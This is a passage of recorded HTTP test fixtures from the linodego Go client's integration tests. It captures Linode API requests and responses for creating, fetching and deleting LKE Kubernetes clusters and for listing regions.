Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7940 method: GET response: body: '{"id": 7940, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-found", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7940 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_GetMissing.yaml000066400000000000000000000020661474652371000324220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/0 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_Kubeconfig_Delete.yaml000066400000000000000000001252671474652371000337200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:57:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-kube-delete","region":"ap-west","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 252665, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-kube-delete", "region": "ap-west", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "249" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:57:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - 